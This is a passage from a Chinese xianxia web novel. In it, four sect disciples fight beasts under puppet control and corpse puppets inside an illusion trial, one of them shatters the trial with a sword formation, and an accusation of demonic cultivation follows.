关云铮摇摇头:“不能再分头行动了,我们一起。”只是开局就伤了两个,如果此事真有方竞甫的手笔,四人还得留存精力对付他。过去的事情无法挽回,但方竞甫只要出现在这里,就必须被带出去,让他接受应有的惩罚。 楚悯本也只是就此建议征求同伴的意见,闻言“嗯”了一声,又向叶泯伸出手:“鹧鸪山的地图有吗?” 叶泯应声从乾坤袋中摸出一卷地图。 谭一筠自觉拉着椅子凑上前,只见楚悯一手抹弦,另一手掌心随即浮出一个卦阵,她一翻手掌,将那卦阵悬在地图上方。 卦阵瞬时扩大了几倍,覆盖住了鹧鸪山全境。 “哇。”三人异口同声地感慨。 看来天问一派被视作正统仙门不是没有道理,小悯手中的一招一式仿佛自带一股“仙气”,比练体的那些招式看着玄乎多了。 楚悯被逗笑,抬手指了指地图上与卦阵光芒重合的一处:“参试者大概是此地变数,虽然行动自由,但对卜算多有限制,算不出其他人的踪迹。”她的指尖在纸卷上划出一道浅淡的痕迹,“不过叶泯方才所说的猛兽踪迹可以被探知,它们应当是受了某种指引,往……这个方向去了,正好是去灵兽派的方向。” 三人顿时脸色一变。 楚悯又接着说道:“傀儡术才施行成功,按理来说承受此术之物不可离开施术者太远,所以它们未必是听从指令去灵兽派作恶,兴许只是……受本能驱使。” 猛兽的本能是什么? 三人显然想到了一处,脸色并没有好看多少,都带着一股风雨欲来的凝重。 楚悯说完了自己的卜算所得,一翻手掌,将卦阵收回掌心按灭,正准备安抚几句,便听叶泯说道:“如果只是寻常猛兽,山下的村民或许辨认不出,守山门的弟子一定能辨别。不受傀儡术影响,制伏只是时间问题,应当对门派影响不大。” 说完这话后,他仿佛先说服了自己,而后看向楚悯:“小悯,能不能卜算出其他猛兽的踪迹?村民没有与猛兽缠斗的能力,他们的安危更为重要。”—— 作者有话说:被下了降头一般怒玩一小时手机遂迟到(跪) 第172章 性命与安危当然是不分高低贵贱的, 这点叶泯很清楚。 但他也清楚自己究竟是怎么想的:因为这里是幻境。 他知道章先生的目的是阻止他们沉湎于过去的伤怀之中,也借助幻境让他们无所顾忌地发挥出自己最大的潜能。 也正因如此,他想竭尽所能地救回那些曾在这次祸乱中无辜死去的人, 至于他的家, 他所在的门派……比起几乎手无缚鸡之力的村民,就得先往后放一放了。 见他已经下定决心, 三位同伴也不再多言, 只不约而同地看向地上昏迷的三人,一齐发起了愁。 理论上来说,乾坤袋里不能塞无形之物,但可以塞人,只是真要往乾坤袋里塞这三个货色……四人又都有些说不出的膈应。 大概是想象力太过丰富,先行脑补了这种画面, 关云铮迟来地感到一点微妙的不适,仿佛方才那口血没吐干净, 于是下意识伸手按了按胸口。 谁料三人并非全神贯注地发愁,顿时将目光投向了她。 关云铮一抬眼, 正好对上三人严肃的视线, 差点举手投降:“我没事,真没事,就是没控制住联想了一下。” 谭一筠原本没往深处想, 闻言脸色微变, 显然也没控制住,“联想”了一番。 叶泯一脸头痛地伸手:“打住,别想。” 关云铮自知理亏,目光四下游移,试图在屋子里找点什么分散自己的注意力, 恰好此时地上瘫着的一人被噩梦折磨,抽动间露出了腰间的什么东西。 “嗯?”关云铮俯身将那东西从人腰带上扯下来,“这是……” 看着像个寻常的香包,但里头捏着既没有填充的棉花之类,也没有别的物件,好像是空的,又好像……她皱眉思索着,又翻出乾坤袋,将二者放在两手中仔细感受着区别。 总觉得是同一种东西…… “好像是个空间法器,要不就用这个?”关云铮没感受出什么具体的差别,遂抬头询问同伴们的意见。 倒是楚悯伸出手接过那个“香包”,若有所思地打量了片刻:“这似乎是……芥子?” 叶泯和谭一筠闻言一同凑上前:“如何笃定是芥子?” 楚悯又闭上眼感受了一番:“应当是芥子,只不过载体不同。” 芥子本质上只是个“空间”,与乾坤袋确实是同一类东西,但乾坤袋的表现形式比较固定,装的大多是些杂物,寻常不往里面塞人。芥子则多是给人住的空间,所以通常是屋子的样式,倒是很少有这样的香包模样。 “空间被压缩得越小,需要的灵气就越强?”关云铮总结道。 楚悯颔首:“可以这么说。” “这样说来,难道奚楼前辈的随身芥子也是这个模样?”叶泯摸着下巴问道。 只不过他与奚楼见面的次数不多,就算每日都能碰见,也不好直接盯着人家女前辈的腰间看,这想法只能是个大胆的猜测。 与奚楼接触最多的是经常去来去峰的关云铮,只可惜她感知术法的能力没有楚悯强,相处时从未感受到芥子的存在。 不过她的态度很乐观,摸索着将三人囫囵塞进芥子后,关云铮拍拍手上的浮灰:“我有预感,这次大比结束,很多事都会得到应有的结果。” **** 虽然四人比荒村中这群猛兽晚出发一些,但若叶泯中途改变主意,御剑而行倒也不是不能赶上,将其截停。 只是叶泯显然没有改变主意的打算,正顺着楚悯指出的其余猛兽进攻路线,聚精会神地往山脚下的几个村庄飞。 鹧鸪山丛林密布,村庄也大多分布在林木之间,从高处往下看去,只能见到几缕不甚明显的炊烟。 “这么高的距离感受得到吗?”关云铮侧过脸问身后的楚悯。 楚悯点点头:“可以,只是仅凭感受大概不够准确,毕竟参试者的行踪无法被卜算,也可能并不安全。” 关云铮和谭一筠、叶泯对视一眼,不约而同地依着楚悯的话向下降了一段距离。 参天的树冠霎时近得如在脚下,林间的声音变得清晰可感,争抢着涌入四人的耳朵,占据感官。 “似乎没有猛兽的动静,只听到鸟鸣声。”谭一筠聆听片刻,“若是真有猛兽途经,鸟雀应当寂静无声,并且另有其他兽类示警才对。” “难道这一群猛兽也先我们一步?”叶泯皱了皱眉。 从荒村那边赶往此地,距离比这支队伍的出发地更近,怎么可能被超过?除非不是寻常猛兽,而是进入战斗状态的灵兽……毕竟灵犀发怒时,能载着他在草地上瞬移出好几丈的距离。 而且灵兽的灵气来自山间,与林木是和谐一体,林间的鸟雀若未开智,极有可能无法分辨出它们的神智是否受他人控制摆布,故而不示警也是有可能的。 叶泯越想越觉得此猜测合理,脸色不由凝重了起来:“我们下去看看。” 三人寻着一块不大的空隙,操纵着剑下降,待到落了地,才发觉林中并不像在上空时听到的那般喧闹,或者说,林中的喧闹并不欢快,而是带着一股……刻意为之的生硬感。 叶泯一落地便将灵犀从灵笼中放了出来:“不太对劲。” 饶是对这样的环境并不熟悉的关云铮都觉出了异常,故而落地后并未将摇羽收入鞘中,而是让它自己在一侧悬停,又从刀鞘中抽||出了霄汉。拔出刀后她才稍微找到了一点安全感,一面把楚悯扒拉到自己身后,一面哀怨道:“叶泯你那地图到底是以什么比例尺绘制的,我看地图的时候怎么没觉得这片林子有这么大。”除了当下所在有些许阳光能穿透树冠照射下来之外,放眼望去,周遭都是黑沉沉的林木,肉眼可见的危机四伏。 “比例尺?”叶泯伸出手让灵犀盘绕,此情此景之下,虽知不合时宜,仍旧对关云铮口中不时冒出来的词汇倍感兴趣。 关云铮却没打算在这个当口多说:“地图三要素之一,这个等出了幻境再说。” 她提刀走在最前,迈出去的每一步都有咚咚作响的心跳声作陪,肾上腺素将一切感官都调动起来,五感几乎敏锐到了极点。 楚悯看出她整个肩背都处在紧绷之下,没多话,只默默跟在她身后,召出月下逢提在手中。 谭一筠本想殿后,被叶泯瞪了一眼后自觉走到他之前,又抬手给众人外围施加了一个对内卸力的阵法:如果实在太寸遇到偷袭,至少能阻一阻对方的攻势。 “感受不到鸟雀,”楚悯皱起眉头,“为何此地的鸟鸣声一直没停下来?” 关云铮也没听见任何鸟类振翅的声音,按照常理,如果林中当真有这样多的鸟在鸣叫,不可能一点振翅声都听不到。思索之间,她有了个大胆的猜测,于是微微偏过头问道:“这世上有那种反复回放某段声音的法器或是术法吗?” “你是说回响术?”谭一筠说道,“能抽取一段记忆中的景象反复回放,掌门同我说过,但还没教到这。”回响术需要施术者的记忆非常稳定,哪怕被抽取一缕也不扰乱余下的部分,他还没到这个境界,所以步掌门还不打算将此术教给他。 他四下环视:“你的意思是,此地的鸟鸣声是回响而成?” 关云铮没回头,只简单“嗯”了声,又凭借直觉说道:“但我隐约觉得,这招不是对付我们的,兴许此地真有其他参试者遭遇埋伏了。” 她话音刚落,除却鸟鸣声堪称一片寂静的密林中忽然传来一声虎啸,将粉饰的太平撕开一道锋利的口子。 关云铮一声“糟了”出口,人已经飞掠而去,楚悯正想迈步跟上,得了指令的摇羽去而复返,在她面前悬停。 楚悯没有片刻犹豫,立即跃上剑身,瞬息之间,一簇由“律”凝成的光已在她指尖汇聚。叶泯和谭一筠紧随其后,三人御剑而行,离拼杀之声越发近时终于看清了当下形势。 看清形势的瞬间,叶泯迟疑道:“这头老虎……” 站在摇羽之上的楚悯已将“律”凝成箭,眯起一只眼睛:“是先前下山寻找兵器时,在鹧鸪山袭击人的那只。”她话还未说完,手中的箭已离弦而去,掀翻了与猛虎站在一处的几人。 “吼——!”被威压波及却没被掀翻的猛虎抬起头来怒吼。 灵兽的怒吼叶泯听得多了,完全不为所动,只略微弯腰将手伸向地面,又将一张缩放咒轻轻施加在灵犀身上:“去吧。” 金光随着灵犀身形变大而暴涨,还没等众人从炫目中回过神来,金光之中一条粗壮的蚺尾杀气腾腾地抽在了猛虎身上,顿时将它抽出几丈之外,撞上了一棵巨木。 巨木发出不堪重负的“咔嚓”一声,彻底结束了它漫长的一生,轰然倒地。 叶泯一跃落地,将配剑握在手中:“几年后的你都打不过灵犀,就别白费工夫了吧?” 被掀翻的几人陆续起身:“你们又是何人?!”原以为这附近只有几个初出茅庐的仙门弟子,用傀儡术绑了作为工具倒是正好,到时事情了了,将傀儡术一解,不仅能让灵兽派元气大伤,还能激起仙门内斗——可这四人又是从哪里冒出来的?! “不知几位可曾听过一句话?”仍站在剑身之上的谭一筠十分悠闲,抛出子不语作为阵法加持的同时悠悠问道。 “什——”回话的瞬间,一抹雪亮的刀光已经近在眼前,张口答话的人还没能说出第二个字,也还没想通这持刀之人究竟是如何靠近的,就被一刀抹了脖子。 关云铮一击得手,立刻脱战,没让自己陷入多人的包围之中,轻功撤回至同伴身侧,接上了谭一筠的话:“反派死于话多。” 她低头看了眼跌坐在地、显然是被猛虎伤着的几位弟子,瞧着眼熟,应当都是在归墟接受教习的,遂关切道:“没事吧?” 几人中唯一的姑娘摇摇头:“只是皮外伤,无碍。” 关云铮看了眼她手臂上的伤口,估计这“无碍”的皮外伤大概和谭一筠受的伤差不多,不危及性命但能把人痛死,干脆从乾坤袋中摸出几瓶药递给她:“不管严重与否,先包扎吧。” 她递完药,往猛虎那看了眼,见它才爬起来又被灵犀抽成了陀螺,这才看向叶泯:“所以这头是灵兽?不是说当年被偷了,怎么还在鹧鸪山里?” 叶泯看了眼远处扭打在一起的猛兽,无言片刻:“兴许是太弱了,被那些人又放归山林了吧。” 关云铮“啧”了声:“这些人,不仅非法雇佣童工,还嫌人家童工不够厉害,太邪恶了。” 谭一筠从剑上跳下来便听见这么一句,只觉自己脑子不大够用,总有些时候听不懂云铮在说什么。 灵犀将那幼年猛虎单方面殴打一顿,确认对方死不了又爬不起来后才回来,途经完全不敢动的“反派”几人时,还没忘了一尾巴抽在倒下的巨木上恐吓。 “好姑娘。”叶泯伸手摸了摸灵犀的鳞片,又看向对面几人,“被你们偷走的另外几头灵兽呢?在何处?” “什么灵兽?”明显落于下风,对面几人仍然梗着脖子嘴硬,关云铮冷眼看着,心里觉得有些好笑。 也不知道是章存舒给弟子放水了,还是这些邪修就是这么草台班子? 叶泯懒得同几人废话,抬手在灵犀身上轻轻拍了拍。 灵犀会意上前,瞬息之间便向对面俯冲而下,尖牙几乎要刺穿几人头颅—— “噫。”靠坐在一边的姑娘忍不住发出嫌弃的声音。 关云铮也默默退后了一步,没想到真能在现实中见到被吓尿的。 控制不住生理反应的那位终于老实,口不择言地说了一串地点。 叶泯从乾坤袋里取出一捆麻绳,远远抛给灵犀,示意她将几人捆缚起来,之后收进先前的芥子里。 “走吧,去解决剩下的。”叶泯隔空将几人收拢进芥子,掸了掸身上不存在的灰,“这几个实在太次,不像是能把灵兽偷走的。” 关云铮也同意他的观点,闻言点点头,又看向互相搀扶着站起来的几位同窗:“你们可要一起?还是先去灵兽派暂歇,那边大概也需要你们帮忙。” 那姑娘看起来想跟四人一起走,但犹豫片刻还是改了主意:“我们去灵兽派等你们。” 关云铮没意见:“好,那就暂且别过,你们自己保重。”—— 作者有话说:就这样欠下一屁股债…… 第173章 除却此地密林猛兽的踪迹之外, 其他踪迹都相距甚远,并且和四人一样还在赶路的途中,危机没那么迫切。 说来奇怪, 明明是出动了这样多人的行动, 却表现得仿佛仓促为之的模样,连最基本的传送阵法都不曾布设, 反而要在赶路上花费诸多时间, 显得很没脑子。 关云铮到现在也学不会包容蠢人,但也自觉恶人不会全然蠢到这个地步,因而心头仍有些疑虑,没能完全放松警惕。 只是在大略估算了一番行程追及问题后,她又稍稍放下心来,寻了个视野开阔的高处, 和同伴们一起坐下。既然追得上,暂歇片刻也无妨。 “灵犀饿不饿?”关云铮看向盘绕在叶泯颈肩的小蛇。 叶泯低头看了眼搭在自己肩上的脑袋:“都蔫了, 应该饿了。” 关云铮摸出几块点心递给叶泯:“说起来,乾坤袋是不是都不怎么受幻境的影响, 一直能照常使用?” 四人正坐在高处休整, 投喂了灵犀后,关云铮索性把乾坤袋里的吃食全都拿了出来,大家一起分着吃。 “将隐不也不受幻境影响?只是起初的几次幻境你想不起它的存在而已。”谭一筠纠正她的说法, 因为吃着东西, 声音含含糊糊的。 这倒也是。如此说来,其实法器的运行并不受幻境的影响,反倒是制造法器的人在幻境中会受到诸多限制。譬如无法被卜算,也就无法被预知凶吉;譬如有些记忆会被幻境扭曲,对自己已经习得的技艺毫无印象, 也便没有施展的可能。 “之前的几次幻境受了伤也没多大感觉,这次痛觉这么真实,应当是对身处幻境的人又增加了限制?”关云铮咬了口点心,“那所谓的‘反派’呢,他们会不会也有限制?” “大概也是有的。”楚悯答道,“你是在担心假若方竞甫不受限制,我们四人可能对付不了他?” 关云铮坦诚点头:“其实方才得知有人在用傀儡术操纵兽类时,我仍然觉得此事是方竞甫所为,因为人蛊也可以算作一种傀儡,他一定精通此术。” 只是对面的反派实在太脸谱化,是标准的“小喽啰”,这又让她对自己的猜测产生了些许怀疑,有些动摇。 可大比这样人多眼杂的场合,确实是最方便方竞甫混入人群中的时机,如果她是他,哪怕冒着诸多风险,也会趁此时机混入归墟。 “你觉得方竞甫混入大比作乱的目的是什么?”叶泯看向关云铮,问道。 此时此地没有旁人,关云铮索性放下点心,坦诚道:“他在奚亭前辈身上下心魔引一定只是一个开端,必然还有更远的图谋。” 只是不知道……他会用什么样的手段来帮他自己实现。 先前动用将隐翻找出的记忆实在模糊,关云铮不打算把它作为自己观点的佐证,她在想不通的事情上一向懒得多想,说完这句后便岔开话题:“接下来往哪个方向?” 叶泯叼着一块点心,将地图铺到三人面前:“这里离我们最近,有个和方才那荒村差不多大小的村子,不如先去这边看看?” **** 如果要给鬼片拍摄选景地点排名的话,关云铮会毫不犹豫地把荒村放在第一名。 只有零星几户人家的古旧村庄,不慎闯入后扣门问路,应声而来的往往是老得人鬼不辨的老人,浑浊的眼睛和满脸纵横的沟壑天然带有“死亡”的恐吓意味,问起当地的怪谈,则总会用含混的嗓音说些模棱两可的话术,或是对来客进行严厉的驱逐——不管是谜语人还是严令禁止,都能极大地激发一个作死之人的好奇心,于是荒村恐怖片就这样鬼气森森地开始了。 套路看得多了,“荒村”这个词本身就带着一股危机感,更别说此地还有别的“虎狼环伺”了。 不过先前那个荒村只是字面意思上的“荒”,给人的危机感倒是不重,也就入口处的阵法费工夫了些。 但眼下这个村子…… 入口处的牌子照样只剩下半挂,可风中还隐约传来人的哭声,和似有幻无的窃窃低语声。 关云铮木着一张脸,怀疑只要她迈开腿走进去,那些破屋子里就会跳出来几十个涂着大红嘴巴的纸人,对着她发出尖细的笑声。 不信唯物主义的三人反倒比较冷静,见关云铮神情紧绷,叶泯还宽慰道:“鹧鸪山脚下的村子荒废的不少,但这么阴森的显然是有人故意为之,现实不会如此。” 谢谢,但是并没有被安慰到,毕竟鬼根本没人心可怕。 再怎么适应无能也得进去,关云铮打头阵,提刀硬着头皮往里走。 不知为何,楚悯没感受到任何异常,皱着眉在她身后一言不发。 大比开始时幻境中恰好是正午,经过一番波折,此刻已到了日暮时分,如血的残阳几乎没有温度,像个刺目的红灯笼。 与密林相比,此地的动静要自然得多,大概没有回响术在背后作怪。但浑然天成的阴森比刻意为之的要吓人多了,关云铮全然无法放松,握着刀的手紧了又紧。 “等等。”又沉默着前进了一段距离后,关云铮忽然开口,“前面怎么那么大的雾气?” 可这还没到晚上呢,起什么雾?难道是瘴气? “不对。”四人几乎是同时说道,“那里面有人!” 关云铮立时便要靠近,忽而又意识到什么似的,转而拉住楚悯:“我们御剑过去,不要下地。” “这可真是一朝被蛇咬,十年怕井绳了。”谭一筠意味深长地说道。 他倒是没说错,在迷津渡幻境那次,被蛇群追击的记忆确实令人记忆犹新,但此事不完全是关云铮选择御剑靠近的缘由。 她只是觉得凌空能给人一种安全感,水里游的,地上跑的,都没那么容易打败天上飞的,如果地面真的发生什么情况,四人也不至于被打个措手不及。 雾气看着近,实则还有些距离,此时御剑而行的速度也不快,靠近时其中的人影已经变得清晰起来。 只是这次布置幻境之人显然没打算让众人慢慢观察,自己所处是何形势,还没等关云铮几人看清雾气中究竟在发生些什么,变故陡生。 一个举止怪异之人不知从何处钻了出来,嘶吼着朝着雾气中一个姑娘扑了过去! “璇玑当心!”关云铮在这千钧一发间看清了那姑娘的脸,一声惊呼出口前,身体的本能反应已将手中的霄汉掷了出去。 横刀去势如风,强横地插||入那人与璇玑之间,将那人震开一段距离。 那雾气仿佛也因此一击震动不已,顿时散去大半,显露中其中之人的真容。 “卧……”关云铮一句脏话差点脱口而出,被飞回手中的霄汉震了手心才险险收回,一时有些不敢相信自己眼前所见。 被她救了的璇玑也是才看清雾中形势,霎时吓得话也顾不上说,几乎有些狼狈地御剑而起,匆匆飞到四人身边。 待到与地面的距离拉开后,她才惊魂未定地看向关云铮道谢,同时没忘了发问:“多谢云铮出手相救,那些又是什么东西?” 关云铮脸都吓白了,开口时嗓子发哑,还带着些许难以置信:“丧尸?” 那僵硬的行走步态,苍白的眼翳,对活人气息格外敏感,凶残的进攻方式,几乎都和21世纪影片中的丧尸一一对应上了。 谭一筠一脸凝重,御剑至两人身侧,纠正道:“是尸傀。” 站在楚悯身侧的楚悯脸色一沉,终于明白为何自己这一路过来,什么也探查不到了。 参试者如璇玑,是此地变数,不可被卜算;除此之外,无法被捕捉到“律”的,还有一种存在——非生非死之物。 活物有律,死物也有,但介于生死之间,不伦不类的没有。 所以并非卦阵失灵,并非加诸己身的限制变强,而是……此地除了参试者,就只剩下这一群尸傀。 叶泯顾不上去感受自己起了多少鸡皮疙瘩,先站在剑上观察了一番地面上那些尸傀。 “他们似乎听得到我们的声音,但不知道我们在哪?是不能抬头吗?”叶泯问道。 “尸僵,再加上平时袭击他人时没有抬头的必要,脖颈很不灵活,大概是听见了头顶有声音却无法抬头。”关云铮感觉到自己握着刀的掌心沁出些冷汗,不动声色地将刀换到另一只手,在衣摆上擦了擦自己的手心。 御剑凌空确实能给人莫大的安全感,璇玑被方才那群双眼全白的尸傀吓得不轻,这会儿也已经缓过劲头,分析着说道:“我在归墟藏书阁中看到过尸傀的记载,是傀儡的一种,既然是傀儡,那便一定有施术者,可这附近我都探查过了,没有活人。” “如果尸傀是用那人的精气培养,即便施术者不在附近,尸傀也可行动自如。”谭一筠接上她的话。 璇玑作为临时加入的一员,自然不知道四人先前的幻境中经历了些什么,但听到这,四人虽面上神情各不相同,心里却都不约而同地想到了一个人——方竞甫。 这样以血肉或是精气养大“怪物”的行径,实在太符合此人一贯的行事作风了。 并且这种以别的事情分散注意力,让人先打消疑虑的做法,也实在太像方竞甫所为了。 当初在迷津渡幻境,本就对他心有疑虑的四人还不是被他营造出来的假象短暂欺骗过,哪怕真的非常短暂,也为他后续的行动拖延了一时片刻,赚取了更多的好处。 “叶泯,我忽然有一个猜想。”关云铮握着刀看着下方逐渐暴躁起来的尸傀群,“你说幻境中这个时间,方竞甫可能在灵兽派吗?” 叶泯一愣,随即脸色也变得更为难看:“当年偷猎灵兽可能就是他所为?” 这样一来,先前遇到的那些“反派”异常的好解决似乎也有了合理的解释——他们都是方竞甫诸多烟||雾||弹中的一员。 “不管怎么说,先解决掉这帮尸傀,然后再去找到方竞甫吧,我觉得我大概有法子了。”关云铮面色平静,仿佛从未受过方才那一惊。 三人却从她的话音里品出了一丝风雨欲来的味道,一直沉默的楚悯不由问道:“你要怎么做?” 关云铮侧过脸朝她一笑,没有回答她的话,反而转向一旁的璇玑:“我有个不情之请。” 璇玑忙说道:“你说。” 关云铮四下幻视,找到一处不算太高的屋子,思忖片刻后说道:“我想借你的剑一用,在此之前,我们先到那间屋子顶上落脚,如何?” 那屋子距离脚下那群尸傀有些距离,但实在算不上高,看起来让人心里没底。但璇玑没怎么犹豫便答应下来:“好,那我们先御剑过去?” 关云铮朝她道了声谢,又看向三位同伴。 谭一筠朝她一摊手:“我自然没意见,只是我的佩剑威力一般,恐怕帮不上什么忙。” 叶泯也没意见,甚至还贴心问道:“要不我把灵犀借你吧,这把佩剑确实太弱了些。”毕竟他并非专精剑修一道,要不是云铮预感在幻境之中会用到御剑术,他都懒得把佩剑重新捞出来使用。 关云铮失笑:“怎么会弱。”见楚悯没有回应,她将视线转向她,“小悯就不用借我了,你和话痨一起给大家做个防御阵法的加持?” 楚悯没说好也没说不好,依旧用那种沉甸甸的眼神看着她,神情满是担忧。 关云铮笑着叹了口气:“你知道这在所难免。” 楚悯没再说话,只默默地垂下了眼,仿佛与关云铮那双真挚的眼睛对视,会令她万分难受似的。 唯一明确反对的人退让一步,关云铮的计划得以顺利施行,五人很快落在不远处的屋顶上,而关云铮再度踏上摇羽的剑身,迈出去时还回头看了眼:“说起来,其实我一直挺想用这招的,就是以前幻境里人少,想用也没道具。” 即便一无所知如璇玑,也隐约意识到她这话有些不对劲了,忍不住跟着迈出了一步:“云铮,你……” 只见关云铮从乾坤袋里摸出了一瓶药,看了一眼瓶身上的标注,抬手倒出几颗,一股脑全咽了下去。 这一瞬间,仿佛她御的不是剑,而是风,借来的三把剑悬停在她身后,整齐地排开。 “哎呀,忘了还没征得别人的同意,只好先斩后奏了。”关云铮又回头朝四人笑了笑,如果不是她周身的灵气暴涨到了几乎有颜色的地步,四人没准还能放下忧虑,给她笑一个。 “万剑——”从未喊过的剑诀摧枯拉朽般地将她周身的灵气全都抽了出去,一瞬的威压险些将她压倒在剑上,然而她还是咬牙说出了剩下两个字,“归宗!”—— 作者有话说:补上了!这个菇还算是言出必行吧[墨镜] 第174章 看清她究竟一口气咽了多少颗丹药的瞬间, 谭一筠和叶泯终于后知后觉地意识到小悯方才担心的是什么了。 ——云铮要在幻境中再次突破境界。 “等等……”听她念出那句剑诀的瞬间叶泯被巨大的恐慌攫住了心智,忘了此时木已成舟,就算出言阻拦也来不及了。 剑诀已成, 一时之间, 幻境中天地巨震,回应关云铮的剑山呼海啸般朝这一方天地飞驰而来。 璇玑虽有些担忧, 但仍被此情此景震撼到喃喃自语:“这样多的剑都回应了云铮的剑诀, 她是到了什么境界?” 她仍是筑基。 至少在使用这道剑诀之前。 深知内情的三位已经顾不上为关云铮的进步感慨了,连忙从各自的乾坤袋里摸出凌风起事前塞给他们的丹药,拿出来时一面手抖,一面暗叹好在凌风起也塞了不少修补灵脉破损的丹药,不然今日恐怕…… 三人还没来得及去想“恐怕”之后究竟是什么,已经被巨大的风声占据了所有的感官。 ——浩荡的剑阵到了。 关云铮胸口闷震, 不知是凌师伯给的药效过了,破阵时的伤又在叫嚣, 还是全身的灵脉再度断裂,胸口闷震只是地震到来前的微小示警。 山崩之前确实会滚落一些不起眼的石子, 地震到来前也会有渺小的动物四散奔逃。她不曾见过山崩地裂, 不知道她的灵魂又会逸散到何处呢? 成百把闪烁着流光的剑回应了她的召唤,几乎凝聚成一把宽数丈的巨剑,被从她体内抽出的灵气操控着, 朝地上那一群躁动的尸傀斩落而下。 刹那间, 万籁俱寂。 而关云铮终于再也支持不住,从摇羽上跌落下去。 她实在太想了结这一切了,太想解决方竞甫了,也太想把这个不受归墟完全掌控、不自由的幻境掀翻了。哪怕这件事完全不该由她来承担,完全能找到更好的解决方式。 她从小被教导学会忍耐, 学会吃苦,却在归墟这不到一年的时间里,逐渐将所有的劣根性都展露出来,遇到一点不顺心的事,她就想要把它们全部连根拔起,然后烧得一点不剩。 与心魔引同归于尽如是,用丹药激发灵气使用剑诀如是,灵脉尽断也要硬扛亦如是。 她终于是不管不顾地一头撞上了南墙。 而那墙轰然倒塌,一墙之隔后分明空无一物,怎么不算一种坦途? **** “陛下。”柳卿知先下了马车,又将手伸给苍韫桢。 苍韫桢刚搭上她的手腕,忽而感到脚下微晃,顿时皱眉:“怎么了?” 柳卿知保持着牵她下马的动作转过身去,便见一阵炫目的光自归墟的护山大阵中激荡开来,整座青镜山都剧烈地震荡起来。 马儿长嘶一声,彻底受了惊,登时便要尥蹶子。 苍韫桢下了马车,一抬手狠狠拽住缰绳:“早知便不在镜溪城外换马车了,惊马安置起来麻烦。” 两人乘灵舟来的镜溪城,在城中换了马车,没要车夫,一路是由柳卿知驱的马,此刻闻言,柳卿知便说道:“马车虽安置麻烦,但并不偏颇。” 乘灵舟来归墟,或有有心之人妄加揣测她的偏向,要么是仙盟,要么是众仙门,不会觉得她是代表着朝廷来的,故而乘马车更为妥当些——哪怕揣测之人也知道此事并无实际意义。 “陛下!”沈时安和陆识微从山门处匆匆跑来,见了柳卿知,又齐齐收敛起流露出的莽撞,“柳相。” 陆识微伸出手:“马车便由臣来安置吧。” 苍韫桢没多说,将缰绳递给她,见她确能安抚马儿,这才放下心来:“归墟发生何事?怎么闹得这么大动静?” 沈时安和陆识微双双摇头,沈时安也有些茫然:“臣与识微一直在山门等候陛下与柳相,不知大比进行得如何了,兴许是幻境中出了岔子。” 苍韫桢才松开一些的眉头复又皱了起来:“知道了,我先去看看。” 说完她竟完全不顾所谓的立场,身影在原地一闪,就这么不见了! 沈时安算是见识过陛下使用法术的,饶是如此也还是被这缩地成寸的本事吓了一跳,更别说陆识微这样并不知晓此事的了,着实被惊得不轻。 柳卿知习以为常,平静说道:“原本陛下以为大比至少要持续半日左右,特意晚来了些。” 却没想到刚到就出了变故。 她收回望向归墟的视线,又想起那昆仑派掌事前来拜见时的说辞,眼里的平静散去,神情染上一层几不可察的薄怒。 陆识微若有所思地点点头:“我先去安置马儿,便由时安带您入山。” 柳卿知颔首,跟随沈时安一同往山门走去。 ——山门之内,缩地成寸而至的苍韫桢直接在幻境入口前露了面,众人本就处在幻境巨震的惊愕之中,见入口处忽然冒出个人影,多数人都没反应过来。 仙盟那群人却都是见过当今皇帝的,霎时间拜倒了一片:“参见陛下!” 归墟唯一与她相熟的人是章存舒,可他此时却分不出半点心神来应对此情景:因为幻境被内部过于汹涌的灵气震动,即刻便要崩塌了。 而幻境入口之上,悬着一面半人高的水镜,每个人都能从中看清,是谁造成了这场坍塌。 分明是关云铮短时间内驱使了太多佩剑,又消耗了大量的灵气,幻境才会从内部被摧毁。 苍生道众人的脸色一个比一个难看,苍韫桢就算来晚了,见了几人神色也明白过来:想必是关云铮那姑娘一时气不过,干脆将这幻境掀翻了。 只是少年心气虽高,付出代价却往往十分惨烈,不知道关云铮又付出了什么呢?再一次灵脉尽断?那她恐怕撑不到所有事被揭露的时候啊。 幻境的崩塌不是瞬间完成的,足以撼地的震动持续了大约一炷香的时候,参与大比之人才以各种姿态被入口“扔”了出来。 关云铮首当其冲,几乎是背着刀从里面滚出来的,身后还紧跟着飞出了一把剑。 紧随其后的是事发时她的四位同伴,看起来没受什么伤,只是姿态有些狼狈。 楚悯则是跑出来的,一出幻境便跪到了关云铮身边,将将赶上在她的后脑勺上托了一把,阻止了她一头磕上不远处的石砖,没让她承受更大的伤害。 苍生道的众人早就围了上来,闻越红着眼圈靠近,不知关云铮究竟伤了哪,手忙脚乱地在一旁不敢扶她,生怕一时不慎加重她的伤势。 连映跑过来的途中已经在从乾坤袋往外拿药了,若不是细看她动作还有些抖,会以为她当真如面色一般平静。 江却稍落后些,要走过来之前不知出于什么原因,回头看了眼站在他身后的章存舒。 而章存舒……站着没动。 苍韫桢一甩袖,示意跪拜的众人起身:“怎么回事?” 章存舒与她隔着还未完全消散的幻境入口对视,归墟练武场上一片狼藉,上百位参试者陆续被幻境丢出,震颤仍在持续。 一片嘈杂之中,一道声音毫无征兆地响了起来:“陛下!臣有要事禀报!” 苍韫桢睨过去一眼:“说。” 发声之人正是严骛。 他不知安的什么心,忽而抬手一指那倒地不醒的关云铮:“臣怀疑此弟子所修并非正道,而是邪魔外道!” 在关云铮身边围了一圈的人闻言,顿时全都抬起头来瞪向他。 严骛丝毫不惧,继续说道:“臣怀疑此弟子修为皆是凭借‘心魔引’而提升,望陛下明察!” 苍韫桢往关云铮那看了眼,见连映给她喂下丹药,又收回视线:“证据。” 她话音刚落,一个形容狼狈的仙门弟子便出列说道:“我有证据。” 赫然是许久不曾挑衅关云铮等人的赵乾达。 “前些日子,弟子下山时碰上一帮鬼灯楼的邪修,与之交手后审问得知,他们中曾有人给关云铮种下过心魔引,而苍生道大弟子江却为隐瞒此事,将当时三人尽数诛杀。”赵乾达朗声说道,“而后关云铮的修为便一日千里,定然是那心魔引在发挥作用!” 苍韫桢面色毫无波动:“邪修的供词?” 赵乾达听懂了她的言下之意,立刻说道:“邪修所述供词中包括被种心魔引之人样貌,分明就是关云铮!” “你放屁。”处在话题中心的人不知何时醒了,拂开身上搀扶的诸多只手,用摇羽撑着自己站了起来,“那些人当时是怎么说的?只你一个空口无凭,我怎么知道不是你有意栽赃?毕竟从我入归墟起,便一直被你寻各种由头挑衅攻讦,栽赃嫁祸不也是你干得出来的事?” 赵乾达没想到她方才那样虚弱竟能这么快醒来,明显慌乱了一瞬,很快又强撑着说道:“我用回响术记下了他们的说辞!” 